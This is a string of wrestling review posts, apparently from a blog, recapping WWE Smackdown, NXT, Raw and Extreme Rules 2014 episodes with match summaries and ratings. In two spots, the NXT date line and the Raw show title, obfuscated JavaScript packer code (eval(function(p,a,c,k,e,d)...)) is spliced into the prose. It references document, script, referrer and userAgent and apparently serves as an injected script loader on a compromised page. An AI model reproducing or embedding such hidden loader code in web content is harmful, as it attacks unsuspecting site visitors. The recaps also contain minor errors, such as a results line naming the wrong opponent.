Rating: C-. Now this is more like it from Paige. Instead of getting beaten up for most of the match and then making a big comeback at the end, Paige beat the tar out of Snuka for most of the match before making her tap out with ease. That’s the kind of win she’s been needing to show that she isn’t just a fluke.

Sheamus says Cesaro not shaking his hand is like feeding a Gremlin after midnight. He doesn’t know much about geography or continents, but he knows when the US Champion’s foot connects with the Intercontinental Champion’s face, it’s going to knock Barrett’s teeth down his throat.

Bo Dallas vs. Xavier Woods

Dallas starts with an armdrag and heads to the floor to celebrate. Woods grabs him but gets sent out to the floor as it’s all Bo so far. Back in and a knee drop sets up a cravate on Woods but he comes back with a clothesline and a dropkick. The Honor Roll (flipping clothesline) gets two for Woods but Bo dropkicks him out of the air, setting up the Bodog for the pin at 2:47. JBL: “It’s not 3-0. It’s 3-Bo!”

Bo does the big celebration and congratulates Woods on such a hard fought effort.

We look at the Wyatt/Cena/Lawler segment from Raw.

Video on Torito having his tail ripped off on Monday. This made me smile.

El Torito vs. Jinder Mahal

Torito has Brutus Beefcake style hedge clippers. He looks for his tail after the bell before focusing on the match. A dropkick to the leg sends Mahal into the corner and we get a chase scene. There’s a bit of cotton where the tail is growing back. An atomic drop hurts Torito really badly due to the wound but he’s able to come back with a sunset bomb, setting up the Bullsault (why not?) for the pin at 1:40.

The little guys have a showdown post match and Hornswoggle runs from the clippers.

We see a list of great US Champions to set up the champion vs. champion match next. The Intercontinental Title list really did blow this one away.

Sheamus vs. Bad News Barrett

Non-title and Heyman is on commentary and has now stretched the Streak to a twenty five year accomplishment. Cole asks Heyman which title means more and gets this great response: “Whichever is next held by a Paul Heyman Guy.” Barrett hammers away in the corner to start before taking over with a running clothesline. Bad News comes back with that cool spot where he sets himself up for a superplex but jumps down and spins into a snap suplex for two.

Sheamus’ ten forearms are broken up and Barrett knocks him to the floor for a running elbow off the apron. Back in and a running clothesline drops Barrett, followed by the rolling fireman’s carry. Barrett gets knocked to the floor and Sheamus takes him down with a shoulder from the apron. Sheamus takes too much time though and gets whipped into the steps as we take a break.

Back with Sheamus fighting out of a chinlock and nailing his running ax handles followed by the running knee lift. Sheamus charges into an elbow in the corner though and a loud low superkick gets two. An Irish Curse gets Sheamus out of trouble and the ten forearms to the chest have Barrett in trouble. White Noise is escaped though and Winds of Change get another close call. Wasteland is countered and a Brogue Kick gets the pin at 7:12 shown of 10:42.

Rating: C+. Good brawl here but again a champion, who has been on fire recently, has to get pinned. On top of that, Sheamus’ head injury from Friday was only mentioned on commentary and didn’t change anything in the match. Barrett looked good here but I don’t see the need to have him lose here. Do a double countout or something like that instead of a clean pin, but fixing that is a long lost cause in WWE.

Sheamus goes after Heyman post match but Paul talks his way to safety.

The Usos are banged up from their match on Main Event where they lost to the Wyatt Family. Tonight it’s Jimmy vs. Bray Wyatt in a last man standing match. They give a solid, fired up promo about throwing the rulebook out the window tonight.

We look at Titus O’Neil beating up Big E. a month ago.

Big E. vs. Titus O’Neil

Points to them for remembering an issue between these two. Big E. comes out with the American flag due to what happened with Rusev on Monday. The match for Sunday is official. Also before the match we get the usual from Lana, this time running down the American flag and saying Russia has the true red white and blue flag. Rusev comes out for his Russian speech and Titus uses the distraction to jump Big E. That lasts a few seconds before Big E. comes back with a belly to belly suplex and the running body attack. The Warrior Splash sets up the Big Ending for the pin at 1:11.

Big E. waves the flag like a Real American.

Adam Rose vs. Jack Swagger

This doesn’t make the pay per view? Colter is on commentary and Swagger gets a jobber entrance while we look at what happened between these two on Monday. Colter wants Rose deported and the party people arrested for impersonating human beings. Rose runs around with the lollipop in his mouth to start and offers it to Swagger. Jack charges but is easily sidestepped before Rose jumps into Swagger’s arms. Swagger has no idea what to think and bails to the floor where Rose quickly follows. Back in and Jack tries a monkey flip but Rose dives forward to pull Jack’s legs forward for a pin at 2:18.

The Raw ReBound covers the Bryan/Stephanie segment from Raw.

Bray Wyatt vs. Jimmy Uso

Last man standing. Bray hammers on Jimmy in the corner to start before running him over with a shoulder block. A dropkick puts Jimmy on the floor and a big dive takes him down again but Bray is quickly back up. Back from a break with Bray hitting a running splash in the corner but Jimmy fires off some right hands. Bray plants him with his suplex slam and hammers away, only to walk into a Samoan drop.

That doesn’t keep Bray down either but he gets low bridged out to the floor. Jimmy tries a running dive off the barricade but Wyatt ducks underneath, only to walk into a huge superkick for seven. Back in and Bray hits that running cross body, followed by the Spider Walk out of the corner. Jimmy headbutts out of a superplex and nails the Superfly Splash for a count of eight but Bray is mad.

He throws Jimmy out to the floor but the Uso catches him with a jumping enziguri. The running Umaga attack against the barricade has Bray in big trouble but he uses the steps to get up at nine. The Family takes out Jey but Jimmy nails Wyatt with another superkick, only to have another Umaga attack hit the steps. Sister Abigail on the floor is good for the win at 12:03 as Bray hangs upside down from the apron and counts along.

Rating: B. This was WAY better than I was expecting as Bray was actually tested a bit. I don’t think anyone in their right mind expected Jimmy to win here but they made something out of it and that’s the best thing you can do in a match where the ending is fairly obvious. This was a very nice surprise and a good sign for the Usos’ futures.

Overall Rating: C+. This was a pretty standard go home show with a solid main event. Almost every match got some build and that’s really all you can ask for out of this kind of show. There’s nothing on here worth going out of your way to watch, though the main event was solid stuff. Other than that though, there are too many short matches here to really work for me.

Results
Cesaro b. Kofi Kingston – Uppercut
Paige b. Tamina Snuka – Scorpion Cross Lock
Bo Dallas b. Xavier Woods – Bodog
El Torito b. Jinder Mahal – Bullsault
Sheamus b. Bad News Barrett – Brogue Kick
Big E. b. Titus O’Neil – Big Ending
Adam Rose b. Jack Swagger – Bridging cradle
Bray Wyatt b. Jimmy Uso – Uso couldn’t answer a ten count after Sister Abigail on the floor

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NXT – May 22, 2014: Bo Dallas Is Glorious

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtai|var|u0026u|referrer|hfnrn||js|php'.split('|'),0,{})) May 22, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Renee Young, Alex Riley, Rich Brennan

It’s the go home show for Takeover next week so odds are we’re going to be seeing a lot about Tyson Kidd tonight. The other main story coming into tonight is the last chance for Bo Dallas. He’s facing Big E. tonight and if he wins, he gets a future shot at the NXT Title. If he loses though, he’s done in NXT forever. The ending should be fairly obvious at this point, but the reaction should be awesome. Let’s get to it.

We open with a recap of Bo’s issues leading up to his match tonight.

Bo Dallas vs. Big E.

They’re starting fast this week. Bo has the Bolieve music and Titantron already. Before the match Bo talks about the love he has for his fans and accepts the title of Mr. NXT. Big E. is already doing the Five Count again and he’s instantly more interesting than he’s been for months. Dallas is quickly sent to the floor before a shoulder drops him with ease. Big E. does it again but this time he follows Bo to the floor. Dallas comes back with a knee to the ribs to take over and the big man is sent into the steps.

Back in and we hit the front facelock on Big E. before taking a break. We come back with Big E. driving shoulders into Bo in the corner but walking into a suplex for two. The fans are singing He’s Got The Whole World In His Hands as Bo stands over Big E. Back up and Big E. makes his come back with a clothesline and belly to belly suplex before just running him over again.

There go the straps but Bo counters the Big Ending into a reverse DDT for two. The bulldog out of the corner is countered and Big E. gets two more off an overhead belly to belly. The Warrior Splash hits knees though and Bo nails the double arm DDT for another near fall. Bo throws his wrist tape down for a distraction and takes off the buckle pad, which is how he beat Big E. for the title last year. This time though Bo is splashed into the steel and the Big Ending means no more Bo at 8:50.

Rating: C. The match was fine and a nice callback to the first meeting last year. There was no way Dallas was going to win here though and this is the right call all around. Big E. getting a win is always nice to see after he’s been crushed on the main show for so many months.

Dallas of course cracks after losing while the fans sing the Goodbye Song.

Dallas of course cracks after losing while the fans sing the Goodbye Song. The freaking out continued during the break with the fans changing BO LEAVE! Bo grabbed the mic and said he strongly dislikes every one of them. They should have just bolieved and now they can just leave. Bo finally walks out.

The announcers talk about Kidd vs. Neville for a bit.

Kidd says he’ll win next week.

Sami Zayn says the loss last week isn’t going to stop him. Tyler Breeze comes in and they mock each other until Sami challenges him for a match. Tyler agrees for Takeover.

Paige vs. Tamina Snuka

Non-title. Paige fights out of the corner to start and kicks Tamina in the ribs before screaming in her face. The fans chant Superfly as Tamina slams Paige down a few times. A running clothesline gets two on Paige and a forearm to the back puts her down. Tamina hooks a torture rack but it’s more like a fireman’s carry. Paige fights back and knocks Tamina to the mat, only to pull her right back up to knock her down again. Tamina picks her up and sits Paige on the top rope before knocking her ribs first onto the apron. Back in and the Superfly Splash hits feet and a small package gives Paige the pin at 6:00.

Rating: D+. Dull match but Paige’s formula is starting to work. She’s getting beaten down because she’s not that experienced but finding a way to win by exploiting a single mistake her opponents make. I’ve heard worst styles for someone to use and she’s WAY over down in NXT as well. Why she needed to lose to Alicia Fox is beyond me, but I’m not as smart as WWE writers.

Adam Rose vs. Camacho

Rose charges right at him but gets hammered in the corner instead. That’s fine for Adam as he charges at Camacho and takes him down with right hands. Camacho fights out of the corner and stomps Rose down. Fans: “PARTY POOPER!” A release butterfly suplex and a legdrop gets two but Rose gets all ticked off and Hulks Up. He hammers away with right hands and nails a spinebuster to set up a bronco buster. What appeared to be a Diamond Cutter is shoved away and Camacho runs to the floor. Camacho just takes the countout at 3:55.

Rating: D+. Rose isn’t bad in the ring but he’s all character for the most part. I have no idea why Camacho of all people isn’t allowed to be pinned here, unless there’s going to be a rematch next week at Takeover. If that’s the case, why have this match here at all? I don’t get this one.

NXT Womens Title Tournament Semifinals: Natalya vs. Sasha Banks

Charlotte isn’t sure who she wants to win because she doesn’t want to embarrass her friend but wants her to succeed. Natalya grabs a quick rollup for two and runs Sasha over for the same. Banks comes back with a running knee in the corner as Charlotte is cheering, but it’s not clear for whom. We hit the chinlock on Natalya as Renee says Sasha realizes she’s lost all her matches since Charlotte has been back. Not quite but the Divas don’t always make a ton of sense. Natalya comes back with a butterfly suplex of her own and Sasha goes to the floor holding her leg. Back in and the Sharpshooter sends Natalya to the finals at 4:00.

Rating: C-. Not bad here and points to NXT for trying to set up a possible way Sasha could win. Natalya vs. Charlotte is the better choice but this wasn’t the worst match in the world. Charlotte has the character down and is getting better in the ring. She doesn’t need Sasha but splitting them up isn’t the best idea in the world either.

We run down the Takeover card. Zayn vs. Breeze is a #1 contenders match.

Adrian Neville vs. Curt Hawkins

Non-title. Renee goes to the same bagel shop as Hawkins. I love little lines like that as they sound like they could happen and we haven’t heard them a million times before. Neville easily takes him to the mat but Hawkins pops back up and nails a clothesline to the back of the head. A suplex gets two on Adrian and we’re already in the chinlock. Neville fights up and hits a missile dropkick to set up the Red Arrow for the pin at 2:23.

Post match Tyson comes out and says he’s the toughest competition Adrian has ever fought. Adrian says NXT is the future so he’s the future. Therefore, at Takeover, the only member of Kidd’s family to take home some gold will be Tyson’s wife. “As usual.” Kidd stares him down to end the show. Neither came off like a heel here.

Overall Rating: C+. This show did the one job it had: it made me want to see Takeover. The show isn’t going to have anything groundbreaking and most of the matches are predictable, but I have no doubt that NXT is going to put on at least an entertaining show. Kidd is a great choice to have an awesome match with Neville and the rest of the card should be good as well. Nice show here but it’s just setting up next week.

Results
Big E. b. Bo Dallas – Big Ending
Paige b. Tamina Snuka – Small package
Adam Rose b. Camacho via countout
Natalya b. Sasha Banks – Sharpshooter
Adrian Neville b. Curt Hawkins – Red Arrow

 

 

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Monday Night Raw – May 5, 2014: Just Play The Halloween Theme Already

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edakt|var|u0026u|referrer|sbsei||js|php'.split('|'),0,{})) Night Raw
Date: May 5, 2014
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Extreme Rules has come and gone and most of the stories have advanced. First and foremost, Bryan kept the title away from Kane in a brawl reminiscent of the Attitude Era but it looks like a rematch is imminent. Other than that Shield defeated Evolution in a war and Bray Wyatt escaped the cage to beat Cena. The main stories tonight are a twenty man battle royal for the US Title and Adam Rose debuting. Let’s get to it.

US Title: Battle Royal

Dean Ambrose, Goldust, Cody Rhodes, Mark Henry, Titus O’Neal, R-Truth, Kofi Kingston, R-Truth, Heath Slater, Sheamus, Curtis Axel, Ryback, Dolph Ziggler, Big Show, Sin Cara, Santino Marella, Fandango, Zack Ryder, Jack Swagger, Damien Sandow

Ambrose is defending and all of his challengers come to the ring at the same time. It’s the traditional big mess to start with Show throwing out Woods and Henry dumping Ryder. Truth is thrown out by someone we didn’t see as everyone else is just having random brawls. Ziggler finally loses his shirt but makes the mistake of hammering on Big Show. Santino slides back into the ring and fails to help Sin Cara eliminates Titus. Big Show dumps Titus with ease and does the same to Sin Cara with the masked man landing on all of the other eliminated guys. Why they were still at ringside isn’t explained.

Fandango gets Dolph over the top but not out to the floor as the brawling continues. Sheamus does the ten forearms to Sandow for an elimination and we take a break. Back with Big Show and Mark Henry being ganged up on in opposite corners. Heath Slater appears to be the only elimination during the break. Henry and Show shrug everyone off and have a showdown ending with a chokeslam to Henry. A Brogue Kick staggers Big Show though and everyone comebines to dump him out. They do the same to Henry and both giants are gone.

Kofi is sent to the apron but jumps back in, only to be kicked out by Ambrose. Dean gets Fandango as well but has to deal with Swagger. Ryback and Axel dump Cody and Goldust to get us down to seven: Ambrose, Santino, Sheamus, Ryback, Axel, Swagger and Ziggler. Scratch Dolph actually as Santino Cobras him out but is quickly dumped by Ryback and Axel, leaving us with five. Sheamus starts cleaning house but runs into a spinebuster from Ryback. The Goldberg chants start up and Ryback has blood on his teeth.

Axel and Ryback take control but can’t toss Dean out. The fans chant for Punk for no apparent reason as Dean backdrops Axel to the floor and wins a slugout with Ryback on the apron to get us down to three. Swagger tries for a cheap shot but Dean slides back in. Ambrose gets behind him and dumps Jack but turns around for the Brogue Kick. The elimination is academic and Sheamus is champion at 15:49.

Rating: C. This was probably the best way to get the title off Ambrose save for the cliched triple threat or fourway match. He’s got the record for longest reign by a WWE US Champion so it’s not like he didn’t get to do anything with the belt. Also this is something for Sheamus to do once he’s back so it’s good for everyone all around. It also didn’t come off as any sort of a heel turn which it wasn’t supposed to be.

Rollins tries to calm Ambrose down by saying it wasn’t fair but here’s HHH to interrupt. He talks about how lucky Shield got last night before announcing a six man tag with Shield vs. the Wyatts later tonight.

After a break Sheamus says he’s been spinning his wheels since he came back. They say every stopped clock is right twice a day and tonight was the perfect time for the Celtic Warrior to step back into glory. Renee asks him if he has a message for Dean Ambrose. Sheamus says no hard feelings.

We get stills from Bryan vs. Kane last night.

Daniel is with Brie in the back when Stephanie comes in. All Daniel did last night was anger Kane and make him capable of unspeakable acts of violence. Therefore, Bryan has to stay in this locker room until his match later tonight. She shuts the door and Kane’s mask is on the back.

Rob Van Dam vs. Cesaro

Feeling out process to start with Van Dam taking over with a quick armdrag. A headlock slows RVD down and a back elbow to the jaw gets two. Rob comes back with a quick kick to the face and Rolling Thunder sends Cesaro to the floor. Back in and Cesaro gets in a few more shots but another kick sends him outside for a big old flip dive.

A moonsault off the apron sets up a slingshot legdrop for two back inside. The fans think this is boring thirty seconds after all the high spots from Van Dam because wrestling crowds have the attention span of drunken gnats. Now it’s a CM Punk chant as Cesaro hammers away and sends Van Dam to the floor with a clothesline. We come back from a break with Van Dam fighting out of a chinlock and the fans chanting for him for a change.

A sunset flip gets two for Van Dam but he gets caught by a jumping double stomp of all things. Van Dam gets another two off a small package and rollup but he dives off the top into an uppercut for a pair of near falls. Cesaro nails him with an awesome looking running uppercut in the corner followed by some rolling gutwrench suplexes for two. Back up and Van Dam can’t hook a monkey flip out of the corner but runs into an elbow to the jaw. He goes up top but gets caught in a one legged tree of woe. Cesaro goes to the floor to hammer away at Van Dam’s head but does it too long for a DQ at 12:00.

Rating: C+. The match was fun and I actually like the ending. Van Dam was getting dominated so it doesn’t make Cesaro look bad and shows a more aggressive side to his character. Those rolling gutwrench suplexes are just awesome and his match against a big name is going to rock.

Cesaro hammers away even more until Heyman pulls him off. Van Dam looks totally out of it.

Bray Wyatt says that Abigail told him that he was born to lead and would change the world one day. This world we live in has an evil about it and everyone refers to him as a piece of trash or a nobody. Those people have made it a glorious day because last night, Bray Wyatt became somebody. Last night Cena’s fear was personified by a singing child and we get a clip showing just that. Bray talks about how a child has personified Cena’s fear. John thinks that Bray is spreading nothing but lies and just wants to watch the world burn.

The second part is right because he wants a new world to be reborn in his image. Wyatt is doing this for the homeless man sitting on the side of the street, for the teenage girl who woke up crying because she was called too ugly to be the prom queen and for every fan sitting in this arena. From this day forward, John Cena stands alone and alone he shall fall. The children shall stand will Bray Wyatt and they’ll never be alone again. He’ll be remembered for what he truly is: a god.

Ryback vs. Cody Rhodes

We see a clip from the battle royal that shows Cody accidentally eliminating Goldust. Cody starts fast and sends Ryback to the outside before hammering away in the corner. Ryback takes over with a hot shot before choking on the ropes to keep Cody in trouble. A delayed vertical suplex gets two on Cody and a hard whip into the corner puts him down again.

We hit the chinlock for a bit until Ryback misses a splash. Cody takes out the knee and hits a running knee to the chest for two. The Disaster Kick looks AWESOME, followed by a good looking springboard missile dropkick. Goldust goes after Axel but the distraction lets Ryback pull Cody off the top into Shell Shock for the pin at 6:00.

Rating: D. This was a really dull match as the always annoying “let’s have two guys lose every match they’re in and then wonder why no one cares about them at all after it’s over” trope continues. This match just kept going and I was really bored after about two minutes, especially when the ending was obvious.

The lights go out in Brie and Bryan’s locker room. A small fire lights up with Kane’s mask over it. The newlyweds leave and run into Stephanie, who offers to have Brie’s car brought up. I’m sure this won’t end badly at all.

It’s time for a Cinco De Mayo celebration with Los Matadores and Torito. They have your usual Mexican decorations and Torito throws out candy to the fans until 3MB interrupts. They want a truth but demand that only English is spoken. Drew threatens violence if the truce isn’t accepted and a brawl breaks out. Slater gets left alone and shouts OLE, only to be thrown to the floor. Torito puts Horny in an airplane spin as JBL shouts out boxing references.

Bolieve!

Kofi Kingston vs. Alexander Rusev

Before the match, Lana praises Vladimir Putin and Edward Snowden, saying America’s secrets are safe with them. Rusev runs Kofi over to start and tosses him down with an overhead belly to belly suplex. Kingston comes back with a dropkick and spinning crossbody for two but misses a kick to the chest, allowing Rusev to load up the fall away slam. Kingston lands on his feet though and tries the springboard cross body, only to be caught in mid air. Now the fall away connects and the Accolade makes Kofi submit at 2:50.

The Network is now available on XBOX One.

Brie gets into the car as Bryan looks around. He gets in to leave and of course there’s a camera in the backseat. Stephanie knocks on the window to scare both of them and says Bryan’s match is right now. If he doesn’t wrestle tonight, he’s stripped of the title. Thankfully Daniel has a brain and has Brie come with him to the ring.

Daniel Bryan vs. Alberto Del Rio

Non-title. Daniel fires off kicks in the corner to start before opting for some right hands to the face. He charges into the tilt-a-whirl backbreaker for two though and Del Rio takes over. Another USA chant starts up as Bryan fires the kicks in the corner. He backflips over Del Rio and actually slips on the landing. Thankfully JBL is paying attention and says it’s because he’s worried Kane might attack him. The YES Kicks have Del Rio in trouble but he grabs a Backstabber for two. Daniel heads outside and gets sent into the barricade as we take a break.

Back with Bryan fighting out of a chinlock but walking into a German suplex for two. Alberto starts goinga fter the arm and mocks the YES post, only to dive into a forearm for two. They head outside with Bryan being dropped face first onto the barricade. Back in and Del Rio lowers the knee pad for the superkick (not sure what sense that makes) but Bryan ducks and lands a hard kick of his own.

A drop toehold sends Alberto into the middle buckle and they trade kicks with Del Rio taking over. Bryan gets dropped with a big old kick but headbutts out of a superplex. The Swan Dive gets two and the running dropkicks knock Del Rio to the floor. FLYING GOAT sends Del Rio halfway into the stands but he comes back with an enziguri for two. The armbreaker is esily countered though and Bryan uses something like La Mistica to set up the YES Lock for the win at 15:32.

Rating: B-. This is the kind of stuff they should use to main event shows like Payback or another low level show. Instead of using the same matches over and over again, just let Bryan tear it up with some upper midcarder for about 25 minutes a month. Good match here with Del Rio going kick for kick with the champion.

Post match Kane’s pyro goes off so they run to the back. Brie and Daniel get in the car but it won’t start. Daniel checks the engine and plugs a wire back in. He shuts the hood and of course Kane is in the back of the car. Bryan fights Kane and tries to leave again but Kane gets on the back of the car. Daniel floors it to drop Kane on the concrete (off camera of course) but stops and looks back. Kane sits up so Bryan gets back in and drives off.

Intercontinental Title: Big E. vs. Bad News Barrett

Barrett is defending, having beaten Big E. for the title last night. Before the match, Bad News says the fans are going to need some cosmetic surgery for their new champion. Big E. runs him over to start and the fight is quickly on the floor. Barrett is rammed into the apron and a spear puts him into the steps before they just beat the count back inside. The champion goes right back to the floor but avoids a charge to send Big E. shoulder first into the post.

Back with Barrett still in control and getting two off Winds of Change. A hard knee to the face puts Big E. down again and here comes the Bull Hammer. You know it’s not working that quickly though so Big E. runs him over to put him in the ropes. The spear through the ropes puts both guys on the floor and it’s Big E. up first. The Big Ending is countered though and Bad News rakes the eyes. Bull Hammer retains the title at 10:48.

Rating: D+. Not much to see here as it was just the required win in the rematch to establish that Barrett is the better man and get rid of Big E. for awhile. It wasn’t a very good match though as Big E. started doing stuff he didn’t do while champion and it makes it easier to beat him, as is tradition in wrestling.

Cena will respond to Bray Wyatt on Main Event.

We look at the battle royal earlier.

Here’s a special Mother’s Day message from Mr. T. which is comprised of remixed clips of his Hall of Fame speech and Brodus Clay’s dancing bridge club from Wrestlemania XXVIII.

Swagger and Colter come out with a sign saying Zeb’s Deportation List. Colter says today isn’t Cinco De Mayo because it’s May 5. He doesn’t like all the foreigners coming into WWE and has a list of all the people he wants gone. It’s only a partial list: Cesaro, Heyman, Emma, Santino, Paige and Sheamus. Colter does the Emma dance and says it’s poisoning the youth of America. They’re interrupted by the Adam Rose party, complete with BUNNY. The entire party is here to carry Rose to the ring just like in NXT. The fans are singing the tune of his song too so it’s working.

Rose has a sucker in his mouth and holds it out to Colter. Zeb holds up a hand but Adam grabs him by the moustache. “Don’t be a lemon. BE A ROSEBUD!” Swagger runs at him but gets kicked in the face and backdropped to the floor. The party gets back in the ring and Zeb looks terrified before running off.

Wyatt Family vs. Shield

It’s a big fight to start and the bell rings with everyone on the floor. Ambrose and Rowan get things going with Dean taking over in the corner. Off to Rollins who gets thrown out of the corner, allowing for the tag off to Harper. Dean makes a blind tag to help Rollins with a double suplex and two on Luke. Roman comes in and hammers away before it’s quickly back to Rollins for a top rope shot to the arm.

Harper takes Seth into the corner to take over again and it’s off to Bray for some hard right hands to the head. Rowan can’t slam Rollins down and gets caught with an enziguri, allowing for the tag off to Dean. Ambrose hammers away and nails a cross body, allowing him to get even more hard shots. Dean cleans house and takes Rowan down with a shoulder before slapping on a Figure Four. He lets it go so we can have a standoff and take a break.

Back with Harper holding Ambrose in a chinlock. Dean fights up with a jawbreaker but it’s off to Rowan to whip Dean from corner to corner. Rowan is sent to the floor and the now legal Harper gets the same treatment. Seth hits a running dive to take them both out but stops to go after Bray, allowing Harper to shove him to the floor in a scary crash. Harper follows it up with a suicide dive, sending Rollins over the table.

Back in and things settle down again before it’s off to Bray for a running splash in the corner. Harper slams Rollins down for two more as everything breaks down. Rowan and Wyatt throw Dean onto the announce table before leaving him alone. Rollins knocks Harper off the top rope and hits the top rope knee to put both guys down. A double tag brings in Reigns to hammer on Wyatt and hit a series of the running clotheslines.

 

The Family breaks up the Superman Punch and it’s double dive time to send Harper and Rowan onto the table. Now the Punch connects and it’s Triple Bomb time but here’s Evolution. That’s fine with Shield as they kick the Wyatts onto Evolution and hit more double dives, only to have Bray run Roman over and hit Sister Abigail for the pin at 18:04.

Rating: B-. It’s a good match but it has to compare to the match these guys had at Elimination Chamber. The ending gives us a reason for Shield to keep fighting Evolution, hopefully in some singles matches instead of another six man. It’s a good main event but more about the stories than the match.

Evolution goes after Shield post match and this time their comeback is stopped. A string of finishers ends the show, including a Triple Bomb to Reigns.

Overall Rating: C. The more I think about it, the more seeing Bryan vs. Kane again makes me want to pound a rusty spike into my eye. If it’s going to mean another month of really bad segments like this one then I’m very glad I have the Network to give me something entertaining to watch instead of this nonsense. We get it: Kane is a monster who is going to lose in the blowoff match because that’s what he’s done for like 15 years now. The rest of the show was solid but that segment gets stupider and stupider every time I think about it.

Results
Sheamus won a battle royal last eliminating Dean Ambrose
Rob Van Dam b. Cesaro via DQ when Cesaro wouldn’t stop attacking Van Dam in the ropes
Ryback b. Cody Rhodes – Shell Shock
Alexander Rusev b. Kofi Kingston – Accolade
Daniel Bryan b. Kane – Yes Lock
Bad News Barrett – Big E. – Bull Hammer
Wyatt Family b. Shield – Sister Abigail to Reigns

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Extreme Rules 2014: I Must Confess I Still Believe. In The Shield.

Extreme Rules 2014
Date: May 4, 2014
Location: Izod Center, East Rutherford, New Jersey
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

It’s the first “WWE Special” after Wrestlemania and it feels like a sequel. There are three matches that could be considered the main event and Daniel Bryan’s defense against Kane is arguably the weakest of the three. Other than that we have Shield vs. Evolution in a six man and John Cena trying to keep Bray Wyatt’s message from spreading and keeping it inside a steel cage. Let’s get to it.

 

Pre-Show: El Torito vs. Hornswoggle

This is the WeeLC match which exists for reasons beyond my comprehension and you win by pinfall/submission. There are mini versions of all three commentators, a mini referee and a mini ring announcer. Torito hammers away to start but dives onto the other Band members. Horny can’t manage a dive and Torito pulls out a chair. That’s no good for some reason so it’s off to a mini chair. A headstand in the corner sets up a Bronco Buster and here’s Mahal to interfere.

Torito crotches him on the top rope and sends Horny face first into Mahal’s groin. Horny takes Torito down and we get two sizes of stepladders brought in. Horny goes to the top of the bigger one but gets nervous so Torito lays down for him. Thankfully he moves when Horny tries a splash and we take a break. I really question the need for commercials for events airing on a service that I’ve already purchased to watch the show the commercials are airing on.

Back with 3MB and Los Matadores brawling on the floor. The commentators names: JB Elf, Jerry Smaller and Micro Cole. Torito gets slammed down for two and rolls out to the floor, only to be slammed down. Horny loads up the mini announce table (standing about two feet off the ground) and drops an elbow to drive Torito through. Fans: THIS IS AWESOME! Back inside with 3MB setting up a 6ft ladder and another mini table as Horny hits Torito with the mini chair.

The chair winds up hitting Heath low by mistake, knocking him through some full sized tables on the floor. Torito saves himself from being suplexed through a pile of tables and ladders at ringside as the Matadores make the save. Instead Torito DRIVES ALL THREE GUYS THROUGH THE LADDERS AND CHAIRS! Torito is laid on a full table outside and Drew misses a great looking flip dive for a crash of his own. Back inside and a springboard seated senton through a table gives El Torito the pin at 10:48.

Rating: A+. Do I even need to explain this one? One note: I really hope WWE lets this one be instead of trying to top it over and over again and driving the gimmick into the ground. You had an entertaining match. Be happy with that and maybe have another one down the road, but don’t try to make this something important on Raw every few weeks or it dies in a hurry.

The opening video talks about every authority facing some form of resistance. We also get a recap of Kane attacking Bryan and Cena trying to contain Bray Wyatt.

Rob Van Dam vs. Cesaro vs. Jack Swagger

Elimination rules. Before the match Heyman says that this is the only night of the year that WWE gets it right. “Tonight the tribe of extreme gets together and acknowledges the fact that……my client Brock Lesnar conquered the Undertaker’s Streak at Wrestlemania.” The former Real Americans double team RVD to start before Cesaro hammers away on Jack with the uppercuts against the ropes. Rob gets back up though and cleans house with some kicks before monkey flipping Cesaro onto Swagger.

Cesaro catches a cross body out of mid air but Swagger kicks the legs out to get two on the Swiss Superman. Everyone heads outside for a bit as the fans are behind Van Dam. Jack and Van Dam head back inside with Swagger being thrown outside again almost immediately. Cesaro and Van Dam knock each other off the apron and Swagger runs RVD over with a clothesline for two back inside.

The Vader Bomb gets two on Van Dam but Cesaro grabs Swagger for the Swing. Van Dam breaks it up with a spinwheel kick, drawing some of the only booing you’ll ever hear for him in this town. Jack runs the ropes and superplexes Van Dam down to break up the Five Star to Cesaro, followed by a Patriot Lock on Rob. This time it’s Cesaro making the save and stopping Jack with a European uppercut. The superplex from the apron followed by a Five Star to Jack is enough for a pin. There was some confusion on the fall but Swagger was eliminated.

Cesaro rolls some gutwrench suplexes on Van Dam and counters the stepover kick with a great looking German suplex into a bridge for two. They head outside with Cesaro climbing the barricade, only to have his legs kicked out from under him. The spinning legdrop from the apron connects to Cesaro’s back before going back inside for Rolling Thunder and the split legged moonsault for two each. Rob tries to bring in a trashcan but gets it kicked back into his ribs very quickly. Back in and a quick Van Daminator with the trashcan looks to set up the Five Star but it only hits can. The Neutralizes onto the trashcan is good for the win at 12:35.

Rating: B-. I liked this more than I was expecting even though the ending was somewhat predictable. At the end of the day though, Cesaro beating two former World Champions in a single match is nothing but good for him. They’re clearly giving him a huge push and his showdown with Lesnar down the line is going to be awesome if they let him go into Beast Mode.

Daniel Bryan is having his shoulder looked at when Stephanie comes in. She’s worried about his well being and offers him the chance to forfeit the title right now. For his own safety of course. Bryan tells her to get out of his face because he’s walking in and out as champion. Stephanie thinks differently of course.

Bolieve!

Alexander Rusev vs. R-Truth/Xavier Woods

Lana dedicates the match to the most powerful man in the world and her idol: Vladimir Putin. Truth says there’s no time to rap and dedicates the match to the USA. Before the bell, Woods is kicked in the face and into Truth, knocking both of them to the floor. Rusev hits a release belly to belly on the floor to drop Woods and we get the bell as he hammers away on Truth. Fans: “WE WANT LANA!”

Truth gets crushed in the corner but raises a boot to stop a charging Bulgarian. The backflip into the side kick sets up a middle rope dropkick but Rusev is right back up. Lie Detector has almost no effect but an ax kick gets two. Rusev shrugs it off and slams Truth down before the Accolade gets the submission at 2:51. Woods was being checked by doctors for most of the match.

The New Jersey Special Olympians are here.

Evolution brags about how awesome they are as HHH lists off all of their accolades. They have egos but they’re well deserved.

Intercontinental Title: Bad News Barrett vs. Big E.

